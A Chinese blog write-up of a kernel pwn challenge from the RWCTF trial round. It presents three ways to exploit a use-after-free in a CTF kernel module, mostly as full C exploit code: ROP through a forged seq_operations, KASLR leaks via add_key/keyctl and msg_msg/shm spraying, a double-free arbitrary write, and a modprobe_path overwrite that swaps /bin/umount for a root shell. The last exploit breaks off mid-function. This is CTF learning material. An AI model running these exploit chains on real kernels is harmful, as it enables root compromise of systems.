最近在学习linux内核漏洞利用,正好rwctf体验赛有一道传统内核pwn,于是就在网上找了三个不同的exp分别学习了一下,把这道题的三种解题方法结合我自己的理解汇总成了这篇博客。
题目分析
题目附件
逆向分析rwctf.ko,关注 rwmod_ioctl()
函数。它包含两个分支0xC0DECAFE
和0xDEADBEEF
,前者释放内存,后者申请内存并从用户态拷贝数据到内核。
这里有个漏洞:kfree()
释放内存后,未清空buf[]
全局数组中的指针,导致UAF。
利用方法1
本题的利用分两个阶段:
首先关掉KASLR,实现控制流劫持
然后开启KASLR,泄露出内核地址
最后整合成一个完整的exp
关闭KASLR
为了便于调试,先在qemu启动命令中关掉KASLR,打控制流劫持。
利用思路:
先使用seq_operations结构体占用ko释放的堆块。这个结构体可以打控制流劫持,使用相对简单。
再利用UAF更改这个堆块的内容(函数指针)。通过ko kfree
此堆块,紧接着又 kmalloc
该堆块并写入内容。
最后通过 read()
触发函数指针,劫持rip。
劫持rip后,利用ROP改modprobe_path的内容,实现以root用户执行任意命令(如chmod 777 /flag
),是比较方便获取flag的方式。
该步骤的代码如下,编译命令gcc test.c -static -masm=intel -o exp
。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <time.h> #include <stdint.h> struct rwstruct { unsigned int idx; unsigned int size; char * cont; }; int g_fd;int seq_fd;int64_t seq_read_buf[4 ];int64_t kernel_elf_base = 0xFFFFFFFF81000000 ;int64_t pop_rax_ret = 0xffffffff81000ddb ;int64_t pop_rdi_ret = 0xffffffff8106ab4d ;int64_t mov__rdi__rax_ret = 0xffffffff81074e3c ; int64_t do_task_dead_func = 0xFFFFFFFF810A3190 ;int64_t modprobe_path_addr = 0xFFFFFFFF828510A0 ;int64_t add_rsp_170_ret = 0xffffffff819d9f4c ;int64_t pop_rbp_ret = 0xffffffff810679ef ;int rwctf_ioctl_kmalloc (int idx, int size, char * cont) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = size; rw_buf.cont = cont; ioctl(g_fd,0xDEADBEEF ,&rw_buf); } int rwctf_ioctl_kfree (int idx) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = 0 ; rw_buf.cont = 0 ; ioctl(g_fd,0xC0DECAFE ,&rw_buf); } void prepare () { system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount\nchmod 777 /flag' > /tmp/x" ); system("chmod +x /tmp/x" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); if (fork()) { sleep(3 ); system("/tmp/dummy 2>/dev/null" ); system("ls -l /flag" ); system("cat /flag" ); exit (1 ); } } void hijack () { int OBJ_SIZE = 0x20 ; char *temp_buf = malloc (OBJ_SIZE); memset (temp_buf,'a' ,OBJ_SIZE); rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,temp_buf); rwctf_ioctl_kfree(0 ); seq_fd = open("/proc/self/stat" ,0 ); rwctf_ioctl_kfree(0 ); char fake_seq_operations[OBJ_SIZE]; memset (fake_seq_operations,'0' ,OBJ_SIZE); *(unsigned long long *)&fake_seq_operations[0x0 ] = add_rsp_170_ret; *(unsigned long long *)&fake_seq_operations[0x8 ] = 0x0 ; *(unsigned long long *)&fake_seq_operations[0x10 ] = 0x0 ; *(unsigned long long *)&fake_seq_operations[0x18 ] = 0x0 ; rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,fake_seq_operations); __asm__( "mov r15, 0x0;" "mov r14, pop_rax_ret;" "mov r13, 0x782f706d742f;" "mov r12, pop_rdi_ret;" "mov r11, 0x11111111;" "mov r10, mov__rdi__rax_ret;" "mov rbp, modprobe_path_addr;" "mov rbx, pop_rbp_ret;" "mov r9, do_task_dead_func;" "mov r8, 0x88888888;" "mov rcx, 0xcccccccc;" "xor rax, rax;" "mov rdx, 0x20;" "mov rsi, seq_read_buf;" "mov rdi, seq_fd;" "syscall" ); } int main () { g_fd = open("/dev/rwctf" ,2 ); prepare(); hijack(); }
1 2 3 思考: - 什么版本下可以使用modprobe_path方法?(在一篇文章中看到,2017年从linux4.11开始就提出了CONFIG_STATIC_USERMODEHELPER来防止modprobe_path被改。但是这个题目时linux5.19.0的,依然可以用这个方法。所以可能是处于性能?或其他原因未开启这个防护?) - 这道题能否用提权到root的方法获取flag?如何做?(可以,以root用户将umount改成/bin/sh,exit退出系统时就能获得root shell)
绕过KASLR
为了绕过KASLR,需要通过UAF泄露出内核地址信息。
sys_add_key + UAF =》 越界读
调用add_key系统调用存放密钥时,内核处理函数根据payload_len会有两次内存申请。第一次申请长度为payload_len
,第二次在user_preparse()
函数中,申请长度为payload_len+0x18
(strcut user_key_payload
结构体)。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 syscall( __NR_add_key, type, description, payload, payload_len, keyring ); struct user_key_payload { struct rcu_head rcu ; unsigned short datalen; char data[] __aligned(__alignof__(u64)); };
因此,以payload_len为0x100-0x18
为例,我们可以构造如下调用顺序,使得漏洞ko的 buf[1]
跟add_key的 strcut user_key_payload
占用同一个堆块。在步骤7的时候,将 user_key_payload.datalen
改成一个超大值如0x1000,当下次读取该key时就能越界读出。
观察了一下泄露出来的内存,没有发现合适的内核地址。因此需要进一步,往堆上喷内核地址。
sys_add_key + sys_keyctl =》 堆喷内核地址
sys_keyctl
中有一个 KEYCTL_REVOKE
,它用于取消一个密钥。内核中,对应的处理流程是_x64_sys_keyctl() -> keyctl_revoke_key() -> key_revoke() -> user_revoke() -> call_rcu()
,在call_rcu()
函数中将 user_key_payload
结构体的 rcu.func
设置成user_free_payload_rcu()
函数的地址(nokaslr的情况下是0xffffffff813d8210
)。
1 2 3 4 5 6 7 8 9 10 11 struct callback_head { struct callback_head *next ; void (*func)(struct callback_head *head); } __attribute__((aligned(sizeof (void *)))); #define rcu_head callback_head struct user_key_payload { struct rcu_head rcu ; unsigned short datalen; char data[] __aligned(__alignof__(u64)); };
通过不断地add_key然后revoke_key,就能将user_free_payload_rcu()
函数地址喷到堆中,再结合上一步地越界读,就可以稳定泄露一个内核地址了。
exp
打完效果如下图
精简版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <fcntl.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <time.h> #include <stdint.h> #define size_user_key_payload 24 #define HEAP_SPRAY_COUNT 20 #define KEY_SPEC_PROCESS_KEYRING -2 #define KEYCTL_REVOKE 3 #define KEYCTL_READ 11 struct rwstruct { unsigned int idx; unsigned int size; char * cont; }; int g_fd;int seq_fd;int64_t seq_read_buf[4 ];int64_t g_kernel_base;int64_t kernel_elf_base = 0xFFFFFFFF81000000 ;int64_t pop_rax_ret = 0xffffffff81000ddb ;int64_t pop_rdi_ret = 0xffffffff8106ab4d ;int64_t mov__rdi__rax_ret = 0xffffffff81074e3c ; int64_t do_task_dead_func = 0xFFFFFFFF810A3190 ;int64_t modprobe_path_addr = 0xFFFFFFFF828510A0 ;int64_t add_rsp_170_ret = 0xffffffff819d9f4c ;int64_t pop_rbp_ret = 0xffffffff810679ef ;int rwctf_ioctl_kmalloc (int idx, int size, char * cont) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = size; rw_buf.cont = cont; ioctl(g_fd,0xDEADBEEF ,&rw_buf); } int rwctf_ioctl_kfree (int idx) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = 0 ; rw_buf.cont = 0 ; ioctl(g_fd,0xC0DECAFE ,&rw_buf); } int key_alloc (char * description, char * payload, int payload_len) { return syscall( __NR_add_key, "user" , description, payload, payload_len, KEY_SPEC_PROCESS_KEYRING ); } int key_read (int key_id, char *retbuf, int retbuf_len) { return syscall( __NR_keyctl, KEYCTL_READ, key_id, retbuf, retbuf_len ); } int key_revoke (int key_id) { return syscall( __NR_keyctl, KEYCTL_REVOKE, key_id, 0 , 0 , 0 ); } void prepare () { system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x" ); system("echo 'chmod 777 /flag' >> /tmp/x" ); system("chmod +x /tmp/x" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); if (fork()) { sleep(3 ); system("/tmp/dummy 2>/dev/null" ); system("ls -l /flag" ); system("cat /flag" ); exit (1 ); } } void hijack () { pop_rax_ret = pop_rax_ret - kernel_elf_base + g_kernel_base; pop_rdi_ret = pop_rdi_ret - kernel_elf_base + g_kernel_base; mov__rdi__rax_ret = mov__rdi__rax_ret - kernel_elf_base + g_kernel_base; do_task_dead_func = do_task_dead_func - kernel_elf_base + g_kernel_base; modprobe_path_addr = modprobe_path_addr - kernel_elf_base + g_kernel_base; pop_rbp_ret = pop_rbp_ret - kernel_elf_base + g_kernel_base; add_rsp_170_ret = add_rsp_170_ret - kernel_elf_base + g_kernel_base; int OBJ_SIZE = 0x20 ; char *temp_buf = malloc (OBJ_SIZE); memset (temp_buf,'a' ,OBJ_SIZE); rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,temp_buf); rwctf_ioctl_kfree(0 ); seq_fd = open("/proc/self/stat" ,0 ); rwctf_ioctl_kfree(0 ); char fake_seq_operations[OBJ_SIZE]; memset (fake_seq_operations,'0' ,OBJ_SIZE); *(unsigned long long *)&fake_seq_operations[0x0 ] = add_rsp_170_ret; *(unsigned long long *)&fake_seq_operations[0x8 ] = 0x0 ; *(unsigned long long *)&fake_seq_operations[0x10 ] = 0x0 ; *(unsigned long long *)&fake_seq_operations[0x18 ] = 0x0 ; rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,fake_seq_operations); __asm__( "mov r15, 0x0;" "mov r14, pop_rax_ret;" "mov r13, 0x782f706d742f;" "mov r12, pop_rdi_ret;" "mov r11, 0x11111111;" "mov r10, mov__rdi__rax_ret;" "mov rbp, modprobe_path_addr;" "mov rbx, pop_rbp_ret;" "mov r9, do_task_dead_func;" "mov r8, 0x88888888;" "mov rcx, 0xcccccccc;" "xor rax, rax;" "mov rdx, 0x20;" "mov rsi, seq_read_buf;" "mov rdi, seq_fd;" "syscall" ); } void leak () { int OBJ_SIZE = 0x100 ; char *temp_buf = malloc (OBJ_SIZE); memset (temp_buf,'x' ,OBJ_SIZE); rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,temp_buf); rwctf_ioctl_kmalloc(1 ,OBJ_SIZE,temp_buf); rwctf_ioctl_kfree(1 ); rwctf_ioctl_kfree(0 ); int ADD_KEY_SIZE = OBJ_SIZE - size_user_key_payload; char *payload = malloc (ADD_KEY_SIZE); memset (payload, 'y' , ADD_KEY_SIZE); int key_id = key_alloc("description234" ,payload,ADD_KEY_SIZE); rwctf_ioctl_kfree(1 ); *(unsigned long long *)&temp_buf[0x0 ] = 0 ; *(unsigned long long *)&temp_buf[0x8 ] = 0 ; *(unsigned long long *)&temp_buf[0x10 ] = 0x1000 ; rwctf_ioctl_kmalloc(1 ,OBJ_SIZE,temp_buf); int test_id[30 ]; int i = 0 ; int a = 0 ; srand((unsigned )time(NULL )); char * tmp_desc = (char *)malloc (20 ); memset (tmp_desc, 0 , 20 ); for (i =0 ; i < HEAP_SPRAY_COUNT; i++){ snprintf (tmp_desc, 20 , "a%x" , rand()); test_id[i] = key_alloc(tmp_desc,payload,ADD_KEY_SIZE); } for (i =0 ; i < HEAP_SPRAY_COUNT; i++){ key_revoke(test_id[i]); } char *retbuf1 = malloc (0x1000 ); memset (retbuf1, 0 , 0x1000 ); int qqq = key_read(key_id,retbuf1,0x1000 ); int64_t offset_user_free_payload_rcu = 0xFFFFFFFF813D8210 - 0xFFFFFFFF81000000 ; int64_t leak_addr = *(int64_t *)&retbuf1[0xf0 ]; g_kernel_base = leak_addr - offset_user_free_payload_rcu; printf ("[!] kernel_base : 0x%lx\n" ,g_kernel_base); } int main () { g_fd = open("/dev/rwctf" ,2 ); prepare(); leak(); hijack(); }
调试版
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 #define _GNU_SOURCE #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <ctype.h> #include <err.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/timerfd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/keyctl.h> #include <time.h> #define size_user_key_payload 24 #ifndef HEXDUMP_COLS #define HEXDUMP_COLS 16 #endif #define HEAP_SPRAY_COUNT 20 struct rwstruct { unsigned int idx; unsigned int size; char * cont; }; int g_fd;int seq_fd;int64_t seq_read_buf[4 ];int64_t g_kernel_base;int64_t kernel_elf_base = 0xFFFFFFFF81000000 ;int64_t pop_rax_ret = 0xffffffff81000ddb ;int64_t pop_rdi_ret = 0xffffffff8106ab4d ;int64_t mov__rdi__rax_ret = 0xffffffff81074e3c ; int64_t add_rsp_160_ret = 0xffffffff81083932 ;int64_t do_task_dead_func = 0xFFFFFFFF810A3190 ;int64_t modprobe_path_addr = 0xFFFFFFFF828510A0 ;int64_t add_rsp_170_ret = 0xffffffff819d9f4c ;int64_t pop_rbp_ret = 0xffffffff810679ef ;int rwctf_ioctl_kmalloc (int idx, int size, char * cont) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = size; rw_buf.cont = cont; ioctl(g_fd,0xDEADBEEF ,&rw_buf); } int rwctf_ioctl_kfree (int idx) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = 0 ; rw_buf.cont = 0 ; ioctl(g_fd,0xC0DECAFE ,&rw_buf); } int key_alloc (char * description, char * payload, int payload_len) { return syscall( __NR_add_key, "user" , description, payload, payload_len, KEY_SPEC_PROCESS_KEYRING ); } int key_read (int key_id, char *retbuf, int retbuf_len) { return syscall( __NR_keyctl, KEYCTL_READ, key_id, retbuf, retbuf_len ); } int key_revoke (int key_id) { return syscall( __NR_keyctl, KEYCTL_REVOKE, key_id, 0 , 0 , 0 ); } void hexdump (void *mem, unsigned int len) { putchar ('\n' ); for (int i = 0 ; i < len + ((len % HEXDUMP_COLS) ? (HEXDUMP_COLS - len % HEXDUMP_COLS) : 0 ); i++) { if (i % HEXDUMP_COLS == 0 ) { printf ("0x%06x: " , i); } if (i < len) { printf ("%02x " , 0xFF & ((char *)mem)[i]); } else { printf (" " ); } if (i % HEXDUMP_COLS == (HEXDUMP_COLS - 1 )) { for (int j = i - (HEXDUMP_COLS - 1 ); j <= i; j++) { if (j >= len) { putchar (' ' ); } else if (isprint (((char *)mem)[j])) { putchar (0xFF & ((char *)mem)[j]); } else { putchar ('.' ); } } putchar ('\n' ); } } putchar ('\n' ); } void prepare () { system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x" ); system("chmod +x /tmp/x" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); if (fork()) { sleep(3 ); system("/tmp/dummy 2>/dev/null" ); system("ls -l /flag" ); system("cat /flag" ); exit (1 ); } } void hijack () { pop_rax_ret = pop_rax_ret - kernel_elf_base + g_kernel_base; pop_rdi_ret = pop_rdi_ret - kernel_elf_base + g_kernel_base; mov__rdi__rax_ret = mov__rdi__rax_ret - kernel_elf_base + g_kernel_base; add_rsp_160_ret = add_rsp_160_ret - kernel_elf_base + g_kernel_base; do_task_dead_func = do_task_dead_func - kernel_elf_base + g_kernel_base; modprobe_path_addr = modprobe_path_addr - kernel_elf_base + g_kernel_base; pop_rbp_ret = pop_rbp_ret - kernel_elf_base + g_kernel_base; add_rsp_170_ret = add_rsp_170_ret - kernel_elf_base + g_kernel_base; int OBJ_SIZE = 0x20 ; char *temp_buf = malloc (OBJ_SIZE); memset (temp_buf,'a' ,OBJ_SIZE); rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,temp_buf); rwctf_ioctl_kfree(0 ); seq_fd = open("/proc/self/stat" ,0 ); rwctf_ioctl_kfree(0 ); char fake_seq_operations[OBJ_SIZE]; memset (fake_seq_operations,'0' ,OBJ_SIZE); *(unsigned long long *)&fake_seq_operations[0x0 ] = add_rsp_170_ret; *(unsigned long long *)&fake_seq_operations[0x8 ] = 0x0 ; *(unsigned long long *)&fake_seq_operations[0x10 ] = 0x0 ; *(unsigned long long *)&fake_seq_operations[0x18 ] = 0x0 ; rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,fake_seq_operations); __asm__( "mov r15, 0x0;" "mov r14, pop_rax_ret;" "mov r13, 0x782f706d742f;" "mov r12, pop_rdi_ret;" "mov r11, 0x11111111;" "mov r10, mov__rdi__rax_ret;" "mov rbp, modprobe_path_addr;" "mov rbx, pop_rbp_ret;" "mov r9, do_task_dead_func;" "mov r8, 0x88888888;" "mov rcx, 0xcccccccc;" "xor rax, rax;" "mov rdx, 0x20;" "mov rsi, seq_read_buf;" "mov rdi, seq_fd;" "syscall" ); } void leak () { int OBJ_SIZE = 0x100 ; char *temp_buf = malloc (OBJ_SIZE); memset (temp_buf,'x' ,OBJ_SIZE); rwctf_ioctl_kmalloc(0 ,OBJ_SIZE,temp_buf); rwctf_ioctl_kmalloc(1 ,OBJ_SIZE,temp_buf); rwctf_ioctl_kfree(1 ); rwctf_ioctl_kfree(0 ); int ADD_KEY_SIZE = OBJ_SIZE - size_user_key_payload; char *payload = malloc (ADD_KEY_SIZE); memset (payload, 'y' , ADD_KEY_SIZE); int key_id = key_alloc("description234" ,payload,ADD_KEY_SIZE); rwctf_ioctl_kfree(1 ); *(unsigned long long *)&temp_buf[0x0 ] = 0 ; *(unsigned long long *)&temp_buf[0x8 ] = 0 ; *(unsigned long long *)&temp_buf[0x10 ] = 0x1000 ; rwctf_ioctl_kmalloc(1 ,OBJ_SIZE,temp_buf); int test_id[30 ]; int i = 0 ; int a = 0 ; srand((unsigned )time(NULL )); char * tmp_desc = (char *)malloc (20 ); memset (tmp_desc, 0 , 20 ); for (i =0 ; i < HEAP_SPRAY_COUNT; i++){ snprintf (tmp_desc, 20 , "a%x" , rand()); test_id[i] = key_alloc(tmp_desc,payload,ADD_KEY_SIZE); } for (i =0 ; i < HEAP_SPRAY_COUNT; i++){ key_revoke(test_id[i]); } char *retbuf1 = malloc (0x1000 ); memset (retbuf1, 0 , 0x1000 ); int qqq = key_read(key_id,retbuf1,0x1000 ); int64_t offset_user_free_payload_rcu = 0xFFFFFFFF813D8210 - 0xFFFFFFFF81000000 ; int64_t leak_addr = *(int64_t *)&retbuf1[0xf0 ]; g_kernel_base = leak_addr - offset_user_free_payload_rcu; printf ("[+] kernel_base : 0x%lx\n" ,g_kernel_base); } int main () { g_fd = open("/dev/rwctf" ,2 ); prepare(); leak(); hijack(); }
利用方法2
double free -> 任意地址写
查看bzImage中kmalloc函数的实现,prefetcht0
指令临近的前几条指令没有xor
指令(不知道有没有更简单的判断方法),可以确定本题未开启slab_freelist_hardened
防护,因此可以利用double free实现任意地址写。
以0x20大小的堆为例,double free过后,堆中内容如下图所示:
在关闭KASLR的情况下,利用 任意地址写+modprobe_path
能以root权限执行一条shell命令,获得flag。该部分exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 #define _GNU_SOURCE #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <ctype.h> #include <err.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/timerfd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/keyctl.h> #include <time.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #define OBJSIZE 0x20 int g_fd;int64_t kernel_elf_base = 0xFFFFFFFF81000000 ;int64_t modprobe_path_addr = 0xFFFFFFFF828510A0 ;struct rwstruct { unsigned int idx; unsigned int size; char * cont; }; int rwctf_ioctl_kmalloc (int idx, int size, char * cont) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = size; rw_buf.cont = cont; ioctl(g_fd,0xDEADBEEF ,&rw_buf); } int rwctf_ioctl_kfree (int idx) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = 0 ; rw_buf.cont = 0 ; ioctl(g_fd,0xC0DECAFE ,&rw_buf); } void aaw (int64_t * target_addr_p, char * target_cont_p) { char * buf = malloc (OBJSIZE); memset (buf,'a' ,OBJSIZE); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kfree(0 ); rwctf_ioctl_kfree(0 ); memcpy (buf+0x10 ,target_addr_p,0x8 ); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kmalloc(0 ,OBJSIZE,target_cont_p); } void prepare () { system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x" ); system("echo '\nchmod 777 /flag' >> /tmp/x" ); system("chmod +x /tmp/x" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); if (fork()) { sleep(3 ); system("/tmp/dummy 2>/dev/null" ); system("ls -l /flag" ); system("cat /flag" ); exit (1 ); } } int main () { g_fd = open("/dev/rwctf" ,2 ); prepare(); int64_t target_addr = modprobe_path_addr; char * target_cont_p = malloc (OBJSIZE); memset (target_cont_p,'y' ,OBJSIZE); memcpy (target_cont_p,"/tmp/x\x00" ,0x7 ); aaw(&target_addr,target_cont_p); return 0 ; }
msg_msg+shm_file_data -> 泄露内核地址
由于题目开启了KASLR选项,因此我们还需要泄露内核加载基址,才能完成利用。
本题内核未开启CONFIG_CHECKPOINT_RESTORE
选项,因此无法使用MSG_COPY特性。不过我们无需覆盖msg_msg结构体的内容,因此对我们的解法无影响。
msg_msg+shm_file_data结合本题漏洞ko的利用过程如下图所示:
漏洞ko申请一个0x20大小的堆块A
漏洞ko释放该0x20大小堆块A
构造msgsnd()
操作,使其内核中第二个数据块总大小为0x20,于是占用了刚刚释放的堆块A
因为漏洞ko存在UAF,借此能力继续释放堆块A。于是msg_msg中出现了一个悬空指针
shmat()
操作在内核中需要为shm_file_data
结构体申请0x20大小的空间,于是拿到了刚刚释放的堆块A,并往堆块中写入内容(有内核地址)
通过msgrcv()
就能把shm_file_data
结构体内容泄露到用户态
完整exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 #define _GNU_SOURCE #include <sched.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <ctype.h> #include <err.h> #include <sys/types.h> #include <sys/stat.h> #include <fcntl.h> #include <sys/timerfd.h> #include <sys/ioctl.h> #include <sys/syscall.h> #include <linux/keyctl.h> #include <time.h> #include <sys/ipc.h> #include <sys/msg.h> #include <sys/shm.h> #define OBJSIZE 0x20 int g_fd;int64_t g_kernel_base;int64_t kernel_elf_base = 0xFFFFFFFF81000000 ;int64_t modprobe_path_addr = 0xFFFFFFFF828510A0 ;struct rwstruct { unsigned int idx; unsigned int size; char * cont; }; int rwctf_ioctl_kmalloc (int idx, int size, char * cont) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = size; rw_buf.cont = cont; ioctl(g_fd,0xDEADBEEF ,&rw_buf); } int rwctf_ioctl_kfree (int idx) { struct rwstruct rw_buf ; rw_buf.idx = idx; rw_buf.size = 0 ; rw_buf.cont = 0 ; ioctl(g_fd,0xC0DECAFE ,&rw_buf); } void aaw (int64_t * target_addr_p, char * target_cont_p) { char * buf = malloc (OBJSIZE); memset (buf,'a' ,OBJSIZE); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kfree(0 ); rwctf_ioctl_kfree(0 ); memcpy (buf+0x10 ,target_addr_p,0x8 ); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kmalloc(0 ,OBJSIZE,target_cont_p); } void prepare () { system("echo '#!/bin/sh\nrm /bin/umount\necho -e \"#!/bin/sh\\n/bin/sh\" > /bin/umount\nchmod 777 /bin/umount' > /tmp/x" ); system("echo '\nchmod 777 /flag' >> /tmp/x" ); system("chmod +x /tmp/x" ); system("echo -ne '\\xff\\xff\\xff\\xff' > /tmp/dummy" ); system("chmod +x /tmp/dummy" ); if (fork()) { sleep(3 ); system("/tmp/dummy 2>/dev/null" ); system("ls -l /flag" ); system("cat /flag" ); exit (1 ); } } int g_msqid;struct g_msgp { long type; char mtext[0xfe8 ]; }; int msg_msgget (key_t key,int msgflg) { int msqid; if ((msqid = msgget(key,msgflg)) == -1 ){ perror("msgget" ); exit (-1 ); } return msqid; } void msg_msgsnd (int msqid,void *msgp,size_t msgsz,int msgflg) { if (msgsnd(msqid,msgp,msgsz,msgflg) == -1 ){ perror("msgsnd" ); exit (-1 ); } } ssize_t msg_msgrcv (int msqid,void *msgp,size_t msgsz,long msgtyp,int msgflg) { ssize_t result; result = msgrcv(msqid,msgp,msgsz,msgtyp,msgflg); if (result<0 ) { perror("msgrcv" ); exit (-1 ); } return result; } void msg_msgctl (int msqid,int cmd,struct msqid_ds *buf) { if ((msgctl(msqid,cmd,buf))==-1 ) { perror("Msgctl" ); exit (-1 ); } } void create_shm_file_data () { int shmid; if ((shmid = shmget(IPC_PRIVATE, 100 , 0600 )) == -1 ) { perror("shmget" ); exit (0 ); } char *shmaddr = shmat(shmid, NULL , 0 ); if (shmaddr == (void *)-1 ) { perror("shmat" ); exit (0 ); } } void leak () { char * buf = malloc (OBJSIZE); memset (buf,'a' ,OBJSIZE); rwctf_ioctl_kmalloc(0 ,OBJSIZE,buf); rwctf_ioctl_kfree(0 ); struct g_msgp msgp ; msgp.type = 1 ; memset (msgp.mtext,'a' ,0xfe8 ); g_msqid = msg_msgget(IPC_PRIVATE,IPC_CREAT|0666 ); msg_msgsnd(g_msqid,&msgp,sizeof (msgp.mtext),0 ); rwctf_ioctl_kfree(0 ); create_shm_file_data(); char * recv_msg = malloc (0x1000 ); msg_msgrcv(g_msqid,recv_msg,0x1000 ,0 ,IPC_NOWAIT|MSG_NOERROR); g_kernel_base = *(int64_t *)&recv_msg[0xfd8 ] - 0x19ac6c0 ; printf ("[+] kernel base is : 0x%lx\n" ,g_kernel_base); free (buf); free (recv_msg); } int main () { g_fd = open("/dev/rwctf" ,2 ); 